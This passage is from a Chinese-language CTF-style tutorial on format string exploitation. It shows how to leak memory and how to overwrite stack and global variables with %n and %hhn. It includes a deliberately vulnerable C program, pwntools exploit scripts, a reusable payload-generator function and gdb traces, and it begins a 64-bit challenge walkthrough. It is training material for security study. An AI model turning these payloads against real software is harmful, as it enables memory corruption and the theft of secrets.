RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
0x804a014
\x14\x04%4$s
[*] Process './leakmemory' stopped with exit code 0 (pid 3856)
0xf7df5c80
[*] Switching to interactive mode
[*] Got EOF while reading in interactive

我们确实得到了 scanf 的地址。

但是,并不是说所有的偏移机器字长的整数倍,可以让我们直接相应参数来获取,有时候,我们需要对我们输入的格式化字符串进行填充,来使得我们想要打印的地址内容的地址位于机器字长整数倍的地址处,一般来说,类似于下面的这个样子。

1
[padding][addr]

覆盖内存

上面,我们已经展示了如何利用格式化字符串来泄露栈内存以及任意地址内存,那么我们有没有可能修改栈上变量的值呢,甚至修改任意地址变量的内存呢?答案是可行的,只要变量对应的地址可写,我们就可以利用格式化字符串来修改其对应的数值。这里我们可以想一下格式化字符串中的类型

1
%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。

通过这个类型参数,再加上一些小技巧,我们就可以达到我们的目的,这里仍然分为两部分,一部分为覆盖栈上的变量,第二部分为覆盖指定地址的变量。

这里我们给出如下的程序来介绍相应的部分。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
int a = 123, b = 456;
int main() {
int c = 789;
char s[100];
printf("%p\n", &c);
scanf("%s", s);
printf(s);
if (c == 16) {
puts("modified c.");
} else if (a == 2) {
puts("modified a for a small number.");
} else if (b == 0x12345678) {
puts("modified b for a big number!");
}
return 0;
}

makefile 在对应的文件夹中。而无论是覆盖哪个地址的变量,我们基本上都是构造类似如下的payload

1
...[overwrite addr]....%[overwrite offset]$n

其中…表示我们的填充内容,overwrite addr 表示我们所要覆盖的地址,overwrite offset地址表示我们所要覆盖的地址存储的位置为输出函数的格式化字符串的第几个参数。所以一般来说,也是如下步骤

  • 确定覆盖地址
  • 确定相对偏移
  • 进行覆盖

覆盖栈内存

确定覆盖地址

首先,我们自然是来想办法知道栈变量 c 的地址。由于目前几乎上所有的程序都开启了 aslr 保护,所以栈的地址一直在变,所以我们这里故意输出了 c 变量的地址。

确定相对偏移

其次,我们来确定一下存储格式化字符串的地址是 printf 将要输出的第几个参数()。 这里我们通过之前的泄露栈变量数值的方法来进行操作。通过调试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
gdb-peda$ c
Continuing.
0xffffcf9c
%d%d

[----------------------------------registers-----------------------------------]
EAX: 0xffffcf38 ("%d%d")
EBX: 0x804a000 --> 0x8049f14 --> 0x1
ECX: 0x1
EDX: 0xf7fb689c --> 0x0
ESI: 0xf7fb5000 --> 0x1d7d6c
EDI: 0x0
EBP: 0xffffcfa8 --> 0x0
ESP: 0xffffcf1c --> 0x8048502 (<main+92>: add esp,0x10)
EIP: 0xf7e2e3a0 (<__printf>: call 0xf7f145d9 <__x86.get_pc_thunk.ax>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7e2e39b <__fprintf+27>: ret
0xf7e2e39c: xchg ax,ax
0xf7e2e39e: xchg ax,ax
=> 0xf7e2e3a0 <__printf>: call 0xf7f145d9 <__x86.get_pc_thunk.ax>
0xf7e2e3a5 <__printf+5>: add eax,0x186c5b
0xf7e2e3aa <__printf+10>: sub esp,0xc
0xf7e2e3ad <__printf+13>: mov eax,DWORD PTR [eax-0x7c]
0xf7e2e3b3 <__printf+19>: lea edx,[esp+0x14]
No argument
[------------------------------------stack-------------------------------------]
0000| 0xffffcf1c --> 0x8048502 (<main+92>: add esp,0x10)
0004| 0xffffcf20 --> 0xffffcf38 ("%d%d")
0008| 0xffffcf24 --> 0xffffcf38 ("%d%d")
0012| 0xffffcf28 --> 0xf7fd0410 --> 0x804828d ("GLIBC_2.0")
0016| 0xffffcf2c --> 0x80484bd (<main+23>: add ebx,0x1b43)
0020| 0xffffcf30 --> 0x0
0024| 0xffffcf34 --> 0x1
0028| 0xffffcf38 ("%d%d")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, __printf (format=0xffffcf38 "%d%d") at printf.c:28
28 in printf.c

我们可以发现在 0xffffcd14 处存储着变量 c 的数值。继而,我们再确定格式化字符串 ‘%d%d’ 的地址 0xffffcf38 相对于 printf 函数的格式化字符串参数 0xffffcd20 的偏移为 0x18,即格式化字符串相当于 printf 函数的第 7 个参数,相当于格式化字符串的第 6 个参数。

进行覆盖

这样,第6个参数处的值就是存储变量c的地址,我们便可以利用%n的特征来修改c的值。payload如下

1
[addr of c]%012d%6$n

addr of c 的长度为4,故而我们得再输入12个字符才可以达到16个字符,以便于来修改c的值为16。

具体脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
def forc():
sh = process('./overwrite')
c_addr = int(sh.recvuntil('\n', drop=True), 16)
print hex(c_addr)
payload = p32(c_addr) + '%012d' + '%6$n'
print payload
#gdb.attach(sh)
sh.sendline(payload)
print sh.recv()
sh.interactive()

forc()

结果如下

1
2
3
4
5
6
bi0x@ubuntu:~/桌面/pwn/fmtstr$ python exp2.py
[+] Starting local process './overflow': pid 4017
0xffcea07c
|\xa0��%012d%6$n
[*] Process './overflow' stopped with exit code 0 (pid 4017)
|\xa0��-00003235816modified c.

覆盖任意地址内存

覆盖小数字

首先,我们来考虑一下如何修改data段的变量为一个较小的数字,比如说,小于机器字长的数字。这里以2为例。可能会觉得这其实没有什么区别,可仔细一想,真的没有么?如果我们还是将要覆盖的地址放在最前面,那么将直接占用机器字长个(4或8)字节。显然,无论之后如何输出,都只会比4大。

或许我们可以使用整形溢出来修改对应的地址的值,但是这样将面临着我们得一次输出大量的内容。而这,一般情况下,基本都不会攻击成功。

那么我们应该怎么做呢?再仔细想一下,我们有必要将所要覆盖的变量的地址放在字符串的最前面么?似乎没有,我们当时只是为了寻找偏移,所以才把tag放在字符串的最前面,如果我们把tag放在中间,其实也是无妨的。类似的,我们把地址放在中间,只要能够找到对应的偏移,其照样也可以得到对应的数值。前面已经说了我们的格式化字符串的为第6个参数。由于我们想要把2写到对应的地址处,故而格式化字符串的前面的字节必须是

1
aa%k$nxx

此时对应的存储的格式化字符串已经占据了6个字符的位置,如果我们再添加两个字符aa,那么其实aa%k就是第6个参数,$nxx其实就是第7个参数,后面我们如果跟上我们要覆盖的地址,那就是第8个参数,所以如果我们这里设置k为8,其实就可以覆盖了。

利用ida可以得到a的地址为0x0804A024(由于a、b是已初始化的全局变量,因此不在堆栈中)。

1
2
.data:0804A024                 public a
.data:0804A024 a dd 7Bh

故而我们可以构造如下的利用代码

1
2
3
4
5
6
7
def fora():
sh = process('./overwrite')
a_addr = 0x0804A024
payload = 'aa%8$naa' + p32(a_addr)
sh.sendline(payload)
print sh.recv()
sh.interactive()

对应的结果如下

1
2
3
4
5
➜  overwrite git:(master) ✗ python exploit.py
[+] Starting local process './overwrite': pid 76508
[*] Process './overwrite' stopped with exit code 0 (pid 76508)
0xffc1729c
aaaa$\xa0\x0modified a for a small number.

其实,这里我们需要掌握的小技巧就是,我们没有必要必须把地址放在最前面,放在那里都可以,只要我们可以找到其对应的偏移即可。

覆盖大数字

上面介绍了覆盖小数字,这里我们就少覆盖大数字了。上面我们也说了,我们可以选择直接一次性输出大数字个字节来进行覆盖,但是这样基本也不会成功,因为太长了。而且即使成功,我们一次性等待的时间也太长了,那么有没有什么比较好的方式呢?自然是有了。

不过在介绍之前,我们得先再简单了解一下,变量在内存中的存储格式。首先,所有的变量在内存中都是以字节进行存储的。此外,在x86和x64的体系结构中,变量的存储格式为以小端存储,即最低有效位存储在低地址。举个例子,0x12345678在内存中由低地址到高地址依次为\x78\x56\x34\x12。再者,我们可以回忆一下格式化字符串里面的标志,可以发现有这么两个标志:

1
2
hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数。
h 对于整数类型,printf期待一个从short提升的int尺寸的整型参数。

所以说,我们可以利用%hhn向某个地址写入单字节,利用%hn向某个地址写入双字节。这里,我们以单字节为例。

首先,我们还是要确定的是要覆盖的地址为多少,利用ida看一下,可以发现地址为0x0804A028。

1
2
.data:0804A028                 public b
.data:0804A028 b dd 1C8h ; DATA XREF: main:loc_8048510r

即我们希望将按照如下方式进行覆盖,前面为覆盖地址,后面为覆盖内容。

1
2
3
4
0x0804A028 \x78
0x0804A029 \x56
0x0804A02a \x34
0x0804A02b \x12

首先,由于我们的字符串的偏移为6,所以我们可以确定我们的payload基本是这个样子的

1
p32(0x0804A028)+p32(0x0804A029)+p32(0x0804A02a)+p32(0x0804A02b)+pad1+'%6$n'+pad2+'%7$n'+pad3+'%8$n'+pad4+'%9$n'

我们可以依次进行计算。这里给出一个基本的构造,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr


def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
payload = fmt_str(6,4,0x0804A028,0x12345678)

其中每个参数的含义基本如下

  • offset表示要覆盖的地址最初的偏移
  • size表示机器字长
  • addr表示将要覆盖的地址。
  • target表示我们要覆盖为的目的变量值。

相应的exploit如下

1
2
3
4
5
6
7
def forb():
sh = process('./overwrite')
payload = fmt_str(6, 4, 0x0804A028, 0x12345678)
print payload
sh.sendline(payload)
print sh.recv()
sh.interactive()

结果如下

1
2
3
4
5
6
➜  overwrite git:(master) ✗ python exploit.py
[+] Starting local process './overwrite': pid 78547
(\xa0\x0)\xa0\x0*\xa0\x0+\xa0\x0%104c%6$hhn%222c%7$hhn%222c%8$hhn%222c%9$hhn
[*] Process './overwrite' stopped with exit code 0 (pid 78547)
0xfff6f9bc
(\xa0\x0)\xa0\x0*\xa0\x0+\xa0\x0 X � \xbb ~modified b for a big number!

当然,我们也可以利用%n分别对每个地址进行写入,也可以得到对应的答案,但是由于我们写入的变量都只会影响由其开始的四个字节,所以最后一个变量写完之后,我们可能会修改之后的三个字节,如果这三个字节比较重要的话,程序就有可能因此崩溃。而采用%hhn则不会有这样的问题,因为这样只会修改相应地址的一个字节。

例题

64位程序格式化字符串漏洞

链接:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/fmtstr/2017-UIUCTF-pwn200-GoodLuck

checksec 查看保护,有 NX 保护和部分 RELRO 保护。

1
2
3
4
5
6
[*] '/home/bi0x/\xe6\xa1\x8c\xe9\x9d\xa2/pwn/fmtstr/goodluck'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

Ida 打开,main函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+3h] [rbp-3Dh]
signed int i; // [rsp+4h] [rbp-3Ch]
signed int j; // [rsp+4h] [rbp-3Ch]
char *format; // [rsp+8h] [rbp-38h]
_IO_FILE *fp; // [rsp+10h] [rbp-30h]
char *v9; // [rsp+18h] [rbp-28h]
char v10[24]; // [rsp+20h] [rbp-20h]
unsigned __int64 v11; // [rsp+38h] [rbp-8h]

v11 = __readfsqword(0x28u);
fp = fopen("flag.txt", "r");
for ( i = 0; i <= 21; ++i )
v10[i] = _IO_getc(fp);
fclose(fp);
v9 = v10;
puts("what's the flag");
fflush(_bss_start);
format = 0LL;
__isoc99_scanf("%ms", &format);
for ( j = 0; j <= 21; ++j )
{
v4 = format[j];
if ( !v4 || v10[j] != v4 )
{
puts("You answered:");
printf(format);
puts("\nBut that was totally wrong lol get rekt");
fflush(_bss_start);
return 0;
}
}
printf("That's right, the flag is %s\n", v9);
fflush(_bss_start);
return 0;
}

显然在 printf(format); 中有格式化字符串漏洞。

gdb调试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
gdb-peda$ b printf
Breakpoint 1 at 0x400640
gdb-peda$ r
Starting program: /home/bi0x/桌面/pwn/fmtstr/goodluck
what's the flag
123456
You answered:

[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7af4264 (<__GI___libc_write+20>: cmp rax,0xfffffffffffff000)
RDX: 0x7ffff7dd18c0 --> 0x0
RSI: 0x602490 ("You answered:\ng\n111111}")
RDI: 0x602cb0 --> 0x363534333231 ('123456')
RBP: 0x7fffffffdf60 --> 0x400900 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffdf18 --> 0x400890 (<main+234>: mov edi,0x4009b8)
RIP: 0x7ffff7a48f00 (<__printf>: sub rsp,0xd8)
R8 : 0x7ffff7fe0500 (0x00007ffff7fe0500)
R9 : 0x0
R10: 0x3
R11: 0x7ffff7a48f00 (<__printf>: sub rsp,0xd8)
R12: 0x4006b0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe040 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7ffff7a48eec <__fprintf+172>: call 0x7ffff7b18e30 <__stack_chk_fail>
0x7ffff7a48ef1: nop WORD PTR cs:[rax+rax*1+0x0]
0x7ffff7a48efb: nop DWORD PTR [rax+rax*1+0x0]
=> 0x7ffff7a48f00 <__printf>: sub rsp,0xd8
0x7ffff7a48f07 <__printf+7>: test al,al
0x7ffff7a48f09 <__printf+9>: mov QWORD PTR [rsp+0x28],rsi
0x7ffff7a48f0e <__printf+14>: mov QWORD PTR [rsp+0x30],rdx
0x7ffff7a48f13 <__printf+19>: mov QWORD PTR [rsp+0x38],rcx
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdf18 --> 0x400890 (<main+234>: mov edi,0x4009b8)
0008| 0x7fffffffdf20 --> 0x31000001
0016| 0x7fffffffdf28 --> 0x602cb0 --> 0x363534333231 ('123456')
0024| 0x7fffffffdf30 --> 0x602260 --> 0x0
0032| 0x7fffffffdf38 --> 0x7fffffffdf40 ("flag{", '1' <repeats 17 times>)
0040| 0x7fffffffdf40 ("flag{", '1' <repeats 17 times>)
0048| 0x7fffffffdf48 ('1' <repeats 14 times>)
0056| 0x7fffffffdf50 --> 0x313131313131 ('111111')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, __printf (format=0x602cb0 "123456") at printf.c:28
28 printf.c: 没有那个文件或目录.
1
0032| 0x7fffffffdf38 --> 0x7fffffffdf40 ("flag{", '1' <repeats 17 times>)

可以看到 flag 对应的栈上的偏移为 5,除去对应的第一行为返回地址外,其偏移为 4。此外,由于这是一个 64 位程序,所以前 6 个参数存在在对应的寄存器中,fmt 字符串存储在 RDI 寄存器中,所以 fmt 字符串对应的地址的偏移为 10。

1
2
gdb-peda$ fmtarg 0x7fffffffdf38
The index of format argument : 10 ("\%9$p")